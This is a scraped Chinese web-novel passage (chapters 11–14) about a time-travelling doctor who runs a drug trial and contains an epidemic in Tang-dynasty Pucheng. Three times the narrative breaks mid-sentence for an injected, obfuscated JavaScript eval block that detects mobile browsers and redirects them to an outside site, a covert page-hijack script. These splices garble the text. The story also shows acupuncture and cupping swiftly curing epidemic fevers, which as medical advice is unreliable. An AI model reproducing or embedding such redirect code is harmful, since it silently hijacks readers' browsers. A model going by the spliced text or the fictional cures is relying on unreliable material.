突如其来的一句话让白理一口茶直直喷在地上,他不解地问:“为何?不是说好了是十五例吗?” “为何?你自己反思一下,从验方开始到现在,你要么想纳入不符合条件的病患,要么就自顾自延迟访视,要么就私自给病患施针,现在甚至还让别人代替你问诊把脉。” “白理,我忍你很久了。之前你对我本人有偏见就算了,若是你足够配合我工作我也不会计较太多。” 冯麓深吸一口气,嘴角虽然还是往上扬的,但双眼和语气几乎比冰块还要冷,“但现在你不仅不尊重我、不尊重杨凛,还不尊重验方,更不尊重病患,我不想和你这种人合作。” 她带着两个跟班头也不回地离开仁医堂,走之前还丢下一句话: “你不是很不想看见我吗?很快,你就可以如愿了。” [1]《黄帝八十一难经注》杨玄操(唐)整理。 11. 二人对峙 冯麓的这些话也彻底点燃了白理的理智,他大步挡在冯麓身前,用力平息起伏过大的情绪,问:“你今日生气就只是因为我把王夫人置之不理?但我总不能放下更重要的事不做吧。” “‘就只是’?”冯麓彻底无法维持表面的礼貌微笑,皱着眉说,“你既然答应了我好好配合完成验方就要善始善终,‘更重要’的标准是什么?难道一个尚未痊愈的且状态未知的病患在你心里不够重要吗?” “病情也有轻重缓急,不会立即丧命的人理应为危重的人让出道路来,这就是我的行医准则。我昨日已经上门看过王夫人的病情,她目前的状态非常平稳,晚一点看诊也并不会因此丧命。” 白理微微扬起头颅,提高了音量开始反过来质问冯麓:“验方使我倒要问问你了,在你心里是不是认为验方的病患才是最重要的?与验方无关的人,都不配得到诊治吗?” “好,我现在回答你。”冯麓气得脑袋都“突突”地疼。 “所有病患都很重要,但是你作为验方医师必须安排好时间再离开,这是方案里规定的。 我一不是蒲城官员,二不是仁医堂医师,三不是圣贤,我来这儿就是为了验方,仅此而已。你不想阻止你做其他诊疗行动,我只要我们验方的病患没事,其他任何事儿我管不着也没闲心管!” 白理气得脖颈上的血管都变得清晰,他走近一步居高临下地问:“验方使,若是陛下倒在你我面前,难道你也这么回答吗?你要眼睁睁地看着我不去救他,而是去给一个根本没大碍的王夫人诊治发药,然后说一些即使过两日再说也无关痛痒的话吗?” 冯麓与白理只隔了两拳的距离,她都隐隐可以看见对方眼瞳中迸发出来的怒意。她也环抱着手臂,虽然人比对方矮一截但丝毫没有怯弱。 她抬起下颌狠狠地说:“对,即使陛下就在这里我也这么说。陛下顽疾发作自有别人去救治,医师那么多并不是非你不可。 在我这儿,验方优先于一切,你的时间必须只属于我!” 白理急促地深呼吸,死死盯着冯麓的眼睛,他咬着后槽牙冷冷地说:“冯麓,你真的很自私。” 自私? 冯麓在现代行医这么多年就没有人说过她自私。她感觉自己全身的血液都冲到头顶,脑袋都快疼得爆炸。 她气到笑出声来:“是啊,你说对了,我就是自私。因为陛下只给了我不到两年的时间解咒,我不是来这儿做慈善的,没空陪你们在这儿浪费时间!” “若是解药做不出来,陛下大限之日就是我殉葬之时。白理,你扪心自问,若换作你站在我的位置上,今日还能说出这种话吗?” 此话一出,仁医堂前厅站着的小董、芮雪、杨凛三人全都瞪大了眼睛,就连白理也愣在原地,气红的脸色消退了一大半。 “大人,殉葬是真的吗?” “姐姐……” 杨凛和芮雪露出不知情的慌张眼神。因为除了李麒和高公公,没人知道她与皇帝定下的是什么霸王条款,她也不曾对任何人说起。 白理不由得放软了语气,“你之前怎么不说?” “跟你说有意义吗?难道我跟你说了,你就会违背你的‘行医准则’配合我吗?” “我……”白理欲言又止,看来他自己也不确定。 “如果你是否定的答案,那我说不说都不会干扰你的决定。如果你是肯定的答案,那是因为怕我死,还是真的想为了验方更好地完成?” “白理,这就是我讨厌你的原因。我只需要合作方的尊重,不需要怜悯。” 冯麓瞥了一眼傻站在一旁的两条小尾巴,“杨凛芮雪,我们走。” 蒲城迎来霜降时节,气温骤然下降,冯麓吃完晚饭一个人走到了院子里,坐在躺椅上看月亮。 感到疲倦的时候抬头仰望天空,这是从陆知晓高中的时候就养成的习惯。她那时候还在从科学的角度解释,可能是头颅在前上后下的体位上会减轻大脑耗氧量,从而减少疲劳。 学了医后她觉得那些都是扯淡,只是因为仰望天空可以发发呆而已。 “大人,您还在生气吗?要不要吃点儿红薯?”杨凛走来,给冯麓递来一个暖乎乎的红薯,在触及她的手指时他发现冯麓的手简直冰得吓人。 “大人您进屋暖暖吧。” 冯麓叹口气问道:“我是不是对白理他们要求太高了?” “大人请您不必自责,只是他们身上的担子太重,也不熟悉验方的原则。” “好累,验方的每一日都好累,每一步都不符合我的预想。”冯麓用双手捂住自己的脸,声音沙哑,“若是多给我一点时间,或许会好很多。” “等乔豫出组,我们就去潼关如何?”冯麓闭上眼睛轻声问。 “我们都听您安排。” 不知不觉中,冯麓在月色的沐浴下睡着了。杨凛从屋子里拿出一件长褂,蹑手蹑脚地走到冯麓身边,把她盖了个严严实实。 他无声俯视着冯麓,其实她比自己还小一岁,言行举止却总能让所有人忘记她的年龄。 杨凛是楚地有名的才子,首次进京赶考便进士及第,但臣服冯麓是一件很容易的事情。 他想起两个多月前,第一次见到冯麓的场景。 瘦削的少女站在众选人面前,看上去柔弱得像一支快要被折断的山茶花。而就是这朵山茶花却坚定响亮地告诉他们,自己已初步制成“李氏诅咒”的解药,剩下的验方工作需要所有选人帮助完成。 她心思缜密,每一句话都有理有据,甚至敢一个人跟朝堂那群大臣叫板。 她医术高超,想到的办法总是那么特立独行却立竿见影,若是杨凛或别的小医师私下请教她也从不藏私。 就是这样一个百年难遇的神奇少女,若是验方失败,明年就会从世间彻底消失。 杨凛没办法接受。 他缓缓蹲坐在冯麓的躺椅边,低着头紧咬牙关忍住眼中即将决堤的情绪,心脏第一次感受到被揪起来的痛苦,口腔中也弥漫开闷青的苦味。 “验方必须顺利完成,大人必须好好地活下来。”他低声自言自语,下了某种决心。 第二日早晨冯麓才睁开眼。她不知自己究竟什么时候睡了过去,也不知道自己什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513170|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候被挪回床上的。 “姐姐你醒了?”芮雪笑着问,给她倒了茶水递来,“昨夜是杨大人抱您进来的,怕您着凉,又怕您惊醒之后再睡不着了。” 冯麓点点头,喝了茶问:“那他人呢?” “一大早就去仁医堂了,说是要跟白堂主谈话,也没说要谈啥。”芮雪眨了眨眼睛,满脸疑惑,“姐姐要去仁医堂看看吗?” “不去了,我相信他可以管理好现场。”冯麓低头穿好鞋子,“以后少去仁医堂,我实在太不想见到某人了。” “嗯!我也不喜欢他!” 又是一日义诊,冯麓决定先让芮雪自己独立问诊,她在旁边观察。 今日来了个咳逆的患者,芮雪探了探病患的额头,体温微高,又把了把脉象。 “大娘,您会感到寒冷不止吗?”“是,很冷。” “您有流涕吗?”“之前有,现在好像没了。” “近日秋风渐起易感风寒,大娘您一定要注意保暖。”芮雪微笑道,在纸上书写药方。 面前的大娘晕晕乎乎地应了一声,话还没来得及说就开始剧烈地咳嗽,俯身朝地面吐出一口痰。 “去看看痰。”冯麓指着地面向芮雪说。 芮雪抿着嘴唇,表情很为难,“可是……有点儿恶心,可以不看吗?” “不行,必须要看。痰液颜色代表了病情的性质,一旦诊断错误就会耽误治疗。” 芮雪走到前面蹲下看了一眼,“是黄绿色。或许是风寒快痊愈的信号,您的手札上写了,风寒痊愈前会呈现出‘外感寒、内感热’的特征。” 冯麓点点头表示肯定,她想到什么又补充问道,“对了大娘,您的胸脯有疼痛吗?” “有一点儿。”大娘说着说着就捶了捶自己的胸口。 不对,胸痛不是风寒的症状表现。 冯麓走到大娘身边,“您伸出舌头我看看。”舌象是红的,也并不是风寒的苔白舌象。 大娘再次剧烈咳嗽起来,冯麓立即用袖子捂住自己的口鼻,向芮雪高声大喊:“捂住口鼻!” 冯麓一手挡住口鼻一手把着脉,结合大娘之前的症状来看,这可能是肺炎,还是有传染性的那种。 “大娘您是第一个咳逆之人吗?吃过何物?” “就前几日,当家的难得打回野兔来,吃完第二日就这样了……咳咳……他今日也咳逆不止,但是高热不退无力出门……所以我才出门找大人您的,大人我们这病严重吗?” 野味,咳嗽,高热,无力。熟悉的词汇盘旋在冯麓的头顶上方。 怎么来了唐朝也有传染性肺炎啊……她闭上眼睛无力地叹气。 “您还见过哪些人?”若是密接者少或许还能将肺炎控制在摇篮里。 “咳咳……我是街上卖豆腐的,见过的人数不清呀。” 蒲城完了。 冯麓从脖子上取下天金鱼符,扔给芮雪,“芮雪,拿我的鱼符找县令,告诉他,现在蒲城出现了瘟疫,必须立即封城。若是放走病患把瘟疫传到长安让陛下知晓,那他的乌纱帽也别戴了!” “是!” 12. 突发瘟疫 芮雪在狂奔去县令府上的时候,路上遇到了不少咳嗽不停的百姓,他们满面通红,咳得像是要把肺都咳出来。 街上响起此起彼伏的吐痰声,但他们没有丝毫改变,咳完了继续做着自己原本的事情,卖菜、买肉、闲聊、吃酒,把这当成了秋日里最不起眼的风寒。 芮雪不由得用手帕捂紧口鼻,用最快的速度跑去县令府上。 杜县令躺在榻上懒懒地听芮雪慌张焦急地说着瘟疫之事,但他不以为意,招呼下人来要把芮雪打发走。 芮雪推开随从的手臂,喊道:“杜大人,瘟疫兹事体大,不可忽视啊!” “只不过是风寒罢了,蒲城每年秋天都会如此,不必紧张。”杜县令不耐烦地喝了一口酒,“更何况,若真是瘟疫自有下官跟本官汇报,无需你一介女流操心。” “那若是我有天金鱼符呢?”芮雪掏出冯麓交给她的鱼符,正色道。 “天金鱼符?”传言中五品以上的重臣才能拥有金色鱼符,而皇帝亲赐的天金鱼符在金色鱼符里更属上层,只有二品以上的顶级人臣才能拥有。 杜县令也没想到一个看似平凡的验方使居然会拥有天金鱼符,那就代表着她可以与皇帝直接对话,这是多少官员几辈子也没有的殊荣。 “杜大人,若是不及时封城,让瘟疫蔓延到长安被陛下得知,到那时您又该如何挽救?” 杜县令终于慌了神,呼唤来随从:“你立即传话给江县丞,立即封锁城门,不要让一个人出去!” “是!” 蒲城有南北两个城门,全被江县丞派人关上。 “官爷怎的突然关门了?还没到关门时辰呢!” “是啊,我们一家老小还得赶路去同州呢,能给我们开开门吗?” 守城官兵严肃拒绝:“不可,江大人交代下来了任何人都不准离开蒲城。” “为何不准离开蒲城?” “因为——”官兵面无表情地扫了一眼后面排着长队想出城的人,提高了音量,“蒲城出现了瘟疫,所以,连一只苍蝇也不能飞出蒲城。” 人群顿时炸开了锅,每个人脸上都露出惊慌失措的神情。他们纷纷从城门散开,恐慌和不安就这样从城门席卷到整个蒲城。 而另一边,冯麓跟随那个大娘回到了家,发现他的丈夫已经因为高热不退死在了床上。 “我还是来晚了,请节哀。”冯麓闭上眼睛深深地叹了口气,眼睁睁地看着大娘抱着丈夫还有余温的尸体声泪俱下。 冯麓从包里掏出她从家紧急拿来的草药,“大娘,这几日拿这些煮水喝,若要出门就像我一样用麻布系在脸上出门。如今怕是还有很多人患病,我必须得去救其他人,您保重。” 仁医堂作为蒲城最大的医馆已经人满为患,人流量是平时的几倍还多,一时间像极了一个闹哄哄的菜市场。 “今日怎么有这么多咳逆者?”白理在前厅看着一波一波挤进来拿药的病患,仁医堂还从来没有一日内接诊过这么多人。 “不知啊,我记得昨日仁医堂都还没有出现这么多病患。而且,我观察了一下,大部分病患的症状都一样,高热、咳逆、无力以及胸痛。”杨凛在一旁说道。 小董疑惑道:“难道是最近准备入冬的缘故?毕竟往年大规模染上风寒也差不离是这时候。” 白理抿紧嘴唇,低声自言自语:“这恐怕不是风寒,是瘟疫。” 小董和杨凛缓缓扭过头看向眉头紧锁的白理。乍一听会觉得小题大做,但是仔细思考就会发现他的话不无道理。 普通风寒和这些人的病症不太相同,而且传播速度非常快,这样看着确实更像一场披着风寒外衣的瘟疫。 此时,负责去外县采购药材的杂役从后门进来,神色慌张地向白理禀报:“堂主,两个城门都被江县丞关掉了,据说是因为验方使跟县令汇报蒲城有瘟疫,必须封城。” 不愧是她。白理嘴角轻轻上扬。 “那堂主,我们现在该如何应对?” “你去让包括杂役在内的所有人都用麻布系在脸上,从口鼻处阻挡戾气,我们还要救治病患,万不可自己先倒下。” “药库里的药材各留出一部分作紧急备用,其余的全都用来诊治疫病。若遇到贫寒者无力支付药钱的,先给他们治病。” “仁医堂这段日子不可关门,调集所有医师分时段坐镇接诊,不能让病患跑空。” “是,堂主!” 白理镇定自若地安排好一切后,转身看着杨凛沉声问道:“你不是说跟我说要守护你家大人吗?” “是啊。” “现在她应该在病患最集中的地方,你立即送她回院子,保护好她,不能让她染上瘟疫。” “我马上去!” 杨凛一溜烟儿从后门跑出去,可他去了她们往日义诊的地方,只有案桌和椅子还在原地。他又迅速回了家,结果家里也没看见人影。 “大人,你们去哪儿了?”杨凛焦急得原地打转。 突然,院子里传来熟悉的声音,他立即出了房门,果然是冯麓。 她正用自己瘦弱的身体把一个比她壮实一倍的妇人扛进院子里,漂亮的脸只露出一双眼睛,但眼睛里没有丝毫怯懦只有非比寻常的坚毅。 “大人我来帮您。”杨凛赶紧跑上前,冯麓进房间前瞥了他一眼,淡淡说道:“你是男子不要进来,你现在要做的就是立刻把口鼻遮住。” 杨凛才意识到自己还没来得及遮住口鼻,迅速撕下一段衣袖系在脸上。 冯麓赶去找芮雪的路上又遇到一个因高热不退而昏倒在田野上的乡亲,毫不犹豫就把妇人带来家里救治。 而芮雪也很好地继承了冯麓这种喜欢四处捡病人的良好传统,冯麓前脚刚进屋,她后脚就也摇摇晃晃地扶着另一个比她稍高的少男走进院子。 杨凛迅速接过手臂搭在芮雪肩上的少男,“我来。” 芮雪已经体力不支,擦了擦脸上的汗说道:“谢谢……杨大人。” “先别谢,我是为了让你腾出手去帮冯大人的。” “但还是要……谢谢杨大人。”芮雪面罩上方的眼睛笑得像两道月牙。 屋子里,冯麓让妇人躺在左偏房的榻上,一边快速生火,一边对外面喊道:“杨凛,你去打两桶温水来放在门口。芮雪,你把病人放到右偏房,按我说的给他施行角法[1]。” “是,大人!”“是,姐姐!” 冯麓将妇人翻转,以俯卧位趴在榻上。她掏出一个竹筒,用筷子夹住一块被燃烧过的艾绒在竹筒内晃了晃,迅速取出艾绒后立即扣在妇人的后背上。 “第一步,肺俞。” “第二步,身柱。” 冯麓紧接着掏出一根细长的银针,“第三步,施针,点刺大椎见血后行角法,一盏茶便可。” “第四步,在病患背后涂上茶油,游走膀胱经。” 过了两刻钟,杨凛已经烧好水,将两桶温水放在门外。 冯麓擦了擦额头上的汗,又对门外待命的杨凛说:“杨凛,现在你去用一两桔梗、二两甘草,以水三升煮取一升,去滓拿来[2]。” “可是我们家没有桔梗了,隔壁倒是种了不少桔梗。” 冯麓垂眸,思考了一会儿后还是说:“先摘来吧,晚点儿你给白理补上银子。” 毕竟救人重要,反正和白理关系已经很糟糕了,不差这一株桔梗的事儿。 冯麓从门外提进温水桶,打湿手帕后轻柔地把妇人的身子全擦了一遍。很快,妇人不停地发汗,高热总算退了下去。 “芮雪,那位公子退热了吗?” “退了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513171|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 冯麓深深呼出一口气,“那就证明这个法子有用。等会儿杨凛把药汤煮好,你和他一起给两人喝下,我先去一趟仁医堂。“ 傍晚时分的仁医堂里,前厅和院子全都铺满了席子,席子上躺满了病患。柔柔的夕阳洒在众人脸上,却没有任何美感只有死气沉沉的残酷,因为其中一些人恐怕连今晚都熬不过去。 白理和几个医师戴着面罩游走在众人之间,不停地把脉、施针和喂药,而另一边的煎药师扇火都扇出虚影了。 而有条件来仁医堂治病的还是少数,大多数人都只能喝点热水,试图靠自己熬过去,所以冯麓走在路上四处可见咳嗽不止的摊贩和已经昏倒在街边的老者。亲戚说这么说 只是一日,蒲城就变成了病毒肆虐的魔鬼城。 突然,躺在她面前的病患剧咳不止,痰液似乎卡在气管里难以呼吸。 冯麓立即蹲下,把病患扶起呈坐位,用空心掌自下到上、自外到内地叩击病患的后背。 “咳咳——” 冯麓的叩击和病患的剧烈咳嗽声引起了不远处白理的关注,他向这边快速走来。 最后,病患在冯麓的叩击排痰法下成功排出黄绿色伴血丝的痰液,没有陷入窒息的风险中。 白理问:“你怎么来了?” “你有空问我为什么来,不如拿东西把所有病患的头和上半身垫高,他们这么躺着不便排痰。”冯麓淡淡地说。 白理立即转头向几个杂役吩咐下去:“去拿点秸秆或者干草来。”他也蹲下身来,看着冯麓说:“多谢,我确实没有想到这一点。” 冯麓眼神绕过白理,望了一眼其他病患们身上的针,问:“你们这里的病患都退热了吗?” “没有,这场瘟疫来势汹汹,高热难退。” 冯麓从自己的斜挎包里拿出银针,“我方才帮助我院中的两个病患成功退热了,让我来吧。” 白理行角法,冯麓行针灸,一起为仁医堂的病患们进行泄热解毒。其他的医师观摩过后也效仿其法,纷纷尝试起来。 不知不觉,他们忙到了深夜,好在所有病患都成功退了热。 “多谢白堂主协助。”冯麓筋疲力尽地坐在地上,额头和脖子上的汗都没力气擦。 白理看着劳累了一天的冯麓,对前一日说出的那些话更为愧疚,“很抱歉昨日对验方使说的那些话,还得多谢验方使今日不计前嫌救蒲城于水火。” “我没那么伟大,只是不希望验方前功尽弃罢了。昨日我也有不对的地方,验方时没有考虑到仁医堂医师的意见和感受。” 冯麓抬头,看着被浅浅的云彩遮住的月亮,以往尖锐冷漠的语气变得淡然许多,“白堂主的确是一名仁医,但实在不是我想要的验方医师。若能顺利挨过这场瘟疫,我就和杨凛芮雪他们去潼关了,或许在那里验方更合适。” 冯麓站起身来,想回家看看那两条小尾巴。“哎?月亮怎么掉下来了?”她眼神迷离地指着天空。 “验方使你没事儿吧?”白理担忧地问。 冯麓的世界忽然天旋地转,视线也变得模糊不已。随即而来的是一阵温暖和柔软的黑暗,和白理那担忧焦急的声音。 “验方使!冯大人!” 可能太累吧,冯麓是真的睁不开眼睛。但她还没有失去意识,可以听见外界的声音。 接着,她感受到白理正在抱着她放到一张软榻上,然后给她搭上了脉。 小董跟在旁边急忙问:“堂主,冯大人她也染上疫病了吗?” “奇怪……”白理的声音变得迟疑。 “她居然也是‘气不摄血证’。” 注释及参考文献: [1]角法:古代拔罐的名称。 [2]桔梗汤:最早可溯源于《伤寒论》张仲景(汉)。 13. 疫情防控 冯麓醒来第一眼看到的就是芮雪和杨凛两个圆圆的脑袋,两人泪眼婆娑地蹲在冯麓的塌旁,一个哭着喊“大人”,一个哭着喊“姐姐”。 “呜呜呜大人还好没染上疫病,可真是吓死我了。”杨凛用手擦掉脸上的泪水,惊魂未定的模样。 芮雪抽泣不停,说不出话只能跟着点点头。 冯麓挣扎着起身,感觉自己的头晕乎乎的,喘不上气。此时,她肚子传来一阵“咕噜噜”的响声。 “抱歉,实在太久没吃东西了。”她尴尬地笑。 “大人不必道歉,是我们照顾不周,让大人劳累一整日都没吃东西。”杨凛迅速起身,“大人您稍等,我马上去准备!” 杨凛说着说着就往门外跑,正巧遇到白理端着一个碗从门外走进来,两人差点儿就撞个满怀。 “对不住,白堂主。” “你走路看着点儿,好不容易熬的。”白理护着自己手里的参鸡汤,不悦地扫了一眼杨凛。而后者丝毫不客气,直截了当地问道:“白堂主,这是给我们大人的吗?” “是……” “那就多谢白堂主了!”白理话音刚落,杨凛就干脆利落地把鸡汤抢来,恭维地微笑,“您先去忙,我和芮雪会照顾好大人的。” 杨凛把鸡汤小心翼翼地端到冯麓榻边,还吹了吹,“大人辛苦了,喝点儿鸡汤补补。” 冯麓小啜了一口。 暖暖的鸡汤还散发着浓郁的香气,切碎的肉块也很鲜嫩,汤水里还可以尝到黄芪、当归、大枣、枸杞和党参的味道。 “我方才竟然在大量药材里找到了极少量鸡肉,真是不可思议。”冯麓用勺子搅拌着鸡汤悠悠地说道。 白理不自觉被这句无厘头的话逗乐,“看样子恢复得不错,都有力气说笑了。” “这是白堂主特意为我熬的十全大补汤吗?”冯麓扭头注视白理,把“特意”那个词说了重音。 白理躲开她的眼神,清了清嗓子,不自然地回答:“给其他病患熬的,顺手给你舀了一碗罢了。” 冯麓挑眉,似笑非笑地反问:“是吗?但是瘟疫的病患全都需要凉血泄热,好像不应该用补气补血的药材吧?” 白理的谎言实在太过于拙劣,尤其是在冯麓这样聪明的人面前。他双颊一热,耳朵根也红起来。 冯麓一口气喝完那小碗汤,从榻上走下来,穿上褂子就要出门。当然,屋里的三个人都不允许她此时出去。 “你们拦我做什么?” 对方一辩芮雪拽着冯麓的胳膊,“姐姐,你才刚刚苏醒,不适合劳累。” “这不是刚喝了鸡汤吗,我现在好得很,你看——”冯麓还原地蹦哒两下,以表示自己已经恢复了体力。 对方二辩杨凛说道:“外面病患一直在增加,大人本就刚苏醒,可能会染上疫病。” “正是因为知道现在外面病患一直在增加所以我才要出去,我不仅是陛下的验方使,我还是大唐的医师,没有坐视不管的道理。” 对方三辩白理干脆直接挡在门口,“验方使,你知道你的的脉象是‘气不摄血证’吗?” “我从小营养不良习惯了,刚喝了你的大补汤暂时死不了,放心吧。”冯麓推开白理,系上麻布口罩就往楼下跑。 前一晚的病患已经退热,所以简单地开了止咳化痰药就让他们为新一批高热不退的病患腾出位置。可仁医堂就那么大,即使把白理和冯麓自己的院子全部拿来安置新的病患也不够用。 瘟疫像一场不断滋生蔓延的火灾,只要不把根源切断就会不停地波及到更多的人。 冯麓走到街道上,仍然看到许多病患边咳边走,口罩没戴,也丝毫不把疫病当回事儿。在病毒面前,这样的人体是最好的传播媒介。 要是靠普通老百姓提升意识那或许这辈子都消除不了瘟疫,那就只能让官府来介入干预。 冯麓亲自去了杜府,跟杜县令长篇大论地述说了以现代医学理论为基础的瘟疫防治大法。 不过她一个现代人肯定不能跟他说什么病毒细菌啊、气溶胶传播啊、酒精消毒啊这些东西。所以她将肺炎学说改头换面,变成古人容易理解并接受的“玄学”。 “杜大人您可知瘟疫实则为何物?” “何物?” “瘟疫实则乃会附身的邪祟!在附身前它们会悄无声息地遍布街市及房屋,潜藏在每个人的周围,再找机会从人的口鼻处附身。或许,此时您手上就正有一只沉睡的邪祟呢!” 冯麓滔滔不绝,还配上了更为生动的肢体语言,说得有鼻子有眼儿的。 杜县令果然仅花零秒就接受了这邪祟的说法,面色惊恐地把自己的双手左看右看,声音颤抖地问:“那那那……依冯大人所言,下官该如何赶走这邪祟?找大师来做法?” “不不不,做法是赶不走的,只能灭杀!大人请看——” 冯麓指着杜县令脚边那坛飘着酒香的佳酿,“邪祟在附身前会纠缠在人们的手上、衣褂上或者鞋履上,它们十分顽强不怕做法只怕烈酒,所以我们须得在邪祟附身前用烈酒灭杀它们!” 杜县令半信半疑地问:“冯大人,你确定用烈酒可以彻底灭杀邪祟?” “其实彻底灭杀邪祟得用一套组合拳:先系上麻布阻挡邪祟入侵口鼻,人与人之间须得保持三尺距离以保证疫者的邪祟不会转移至自己身上,最后一招则是用酒酿洗衣以及擦拭手掌将其杀灭。 如今蒲城内染病的百姓越来越多,杜大人作为官府须得尽快采取行动进行控制,否则陛下得知怪罪下来,你我都难辞其咎。” 冯麓露出胸有成竹的神情,“大人若今日信我一回,明日便可减少一半的疫者,不出七日瘟疫便可控制住。” “信,下官当然信。但那已经染病的百姓又如何处理?该如何灭杀已经附体至人身的邪祟?” “那这就是我们医者的职责了。把所有染病之人集中起来,送去仁医堂以及白堂主和我的院子,邪祟不死万不能离开。” 杜县令听到这话十分震惊,瞪大双眼问:“将病患送去堂主和大人自己的院子?那大人不怕邪祟吗?” “不怕,”冯麓口罩上的一双眼睛闪着坚定的光芒,她在口罩下无声地微笑,“因为我们医者的存在就是为了替百姓斩妖除魔的。” 冯麓前有天金鱼符,后有神医之名,杜县令对冯麓的话那是言听计从。 江县丞依据冯麓的要求准备了五百个麻布口罩,亲自带领下属给百姓们一一分发,冯麓跟在旁边,仔细地嘱咐他们一定要多喝糖盐水。 而卫主簿则亲自与官兵一同巡街,一边宣讲驱除邪祟之法,一边将街市上的百姓劝回家。 “立即归家,禁止在外进行交易!” “大爷大娘请回家歇着,不要在外闲聊!” “哎哎哎你们几个熊孩子赶紧回家,不要在外打架!” 平日热闹的大街小巷,现如今在官府的管控下变得鸦雀无声,就好像整个蒲城都被按下了静音键。 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513172|186174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多百姓一年到头都没有时间休憩,这次瘟疫意外降临,他们也终于有了机会与家人好好相处。 这边新的病患少了许多,顺利退热的病患也出院进行居家隔离,仁医堂里的人总算是开始减少了。 蒲城只花了五日瘟疫就被控制住,瘟疫发生后半个月内不仅没有外流病患,本县死亡的人数也只有不到五个。 最后一个瘟疫病患出院那天,杜蜻最后一次随访的时间也到了。 “冯大人~”杜蜻四处张望寻找着冯麓的身影,“我来找您啦~冯大人~” “你叫破喉咙她也不会来的。”白理冷冷地瞥了他一眼,没好气地坐在他面前。 杜蜻看见白理迅速化身变脸大师,不耐烦地抱怨道:“上次是你,这次又是你,我真的不能换个医师吗?” “不能,”白理翻开评估表,嘴上催促着,“赶紧的,我忙得很,还有很多患者要处理。” “那你就去忙你的事情啊,不用管我的。” “不行,我答应了验方使要好好完成接下来的验方,天塌下来我也会把你的随访完成。” “哎你这臭狗熊怎么听不懂人话啊!我都说不想看见你了!” “臭狗熊?我?”白理纳闷地指着自己,从小到大还是第一个人这么说。 杜蜻哼哼道:“对啊,你长得简直就像狗熊的亲生兄弟!” “你!手给我——”白理黑着脸捉住杜蜻的手强行把脉,两个人的问诊也像极了人机对话,能一个字说完绝对不用两个字,空气中充满了随时都会爆发的硝烟味。 一盏茶的时间后,这场随访终于在不情不愿中结束了。 “你可以去拿药了。” “苍天,总算是不用再看你这头臭狗熊的脸了!”杜蜻露出如释重负的笑容,起身整理了一下自己的长袍,对着楼下大喊:“冯大人~我请您来我们府上吃饭~~” 白理见势立刻追上那家伙,“喂,你别去打扰她,她很忙去不了。” “她敢拒绝?” 杜蜻绕来绕去,终于看见了冯麓的身影。她穿着极为朴素,与那些病患混在一起根本看不出来区别。 “冯大人,我想请您去府上吃饭!”杜蜻眨了眨眼,期待地说。 冯麓头都没抬就回答:“我不去。” 白理在一旁靠在柱子上向杜蜻挑眉,眼神里分明就是在说“看看,被我说中了吧”。 “冯大人,县令的面子也不给吗?” “杜县令?”冯麓抬眼问。 杜蜻随即展开笑容,“我爹说了,他要亲自宴请,以对冯大人治疫有方表达感谢。” “你确定只是吃饭?没别的?”“那是自然!” 冯麓起身拍了拍手上的艾绒,点点头说:“那行吧,我去。” 白理脸上的得意转移到了杜蜻的脸上,杜蜻十分挑衅地瞪了白理一眼,好似在说“瞧瞧,谁才是真正的赢家”。 杜蜻左等右等终于等到了晚上,他特意换上了一件绣着金纹的绀青色长袍,熏了香,早早地来到会客厅。 “冯大人,您来蒲城这么久都没有请您来府上吃饭,是下官招待不周。” “无妨。” 是我爹和冯麓的声音!杜蜻惊喜万分,整理了一下发冠和衣领腰带,正要挺直胸膛以最好的姿态迎接进门的冯麓,就看到了一个他最不愿意看到的人。 “白理?你怎么也来了!”杜蜻大惊失色地喊道。 “自然是县令大人请的我了。” 14. 数据清理 “自然是县令大人请的我了。” 挑衅,绝对的挑衅。杜蜻甚至从白理那淡若山泉的笑容里看出了得瑟的意味。 白理为了这一次宴请实在是煞费苦心,一改平日那穿到包浆的玉色麻衫,换上了从未见过的青古色圆领长衫。 “你个傻小子怎么如此没有礼貌呢?还不见过白堂主?” 杜蜻紧紧咬着后槽牙,用手指着白理,怒吼:“爹,我不喜欢他!不想在我们家里看见他!” “你小时就撒泼打滚,如今怎能还如此无理取闹?”杜县令怒目而视,指着杜蜻警告,“这次蒲城能够平稳渡过瘟疫这道难关,白堂主功不可没,你若是还拎不清,往后三个月的月钱就别想要了。” 杜蜻只好没了脾气,伸手请两位客人入座。 虽然白理心里很排斥来县令府上做客,但他实在不放心冯麓独自前来。不过,冯麓十分无所谓的模样,任凭县令问什么都只用“嗯嗯”回答,除了埋头苦吃什么也不说。 白理满心满眼只顾着看冯麓夹了什么菜,自己都没怎么吃。这也是他第一次和冯麓在一起吃饭,心里感叹冯麓狂吃不胖的神奇体质的同时,还默默记下了她夹得最多的菜品。 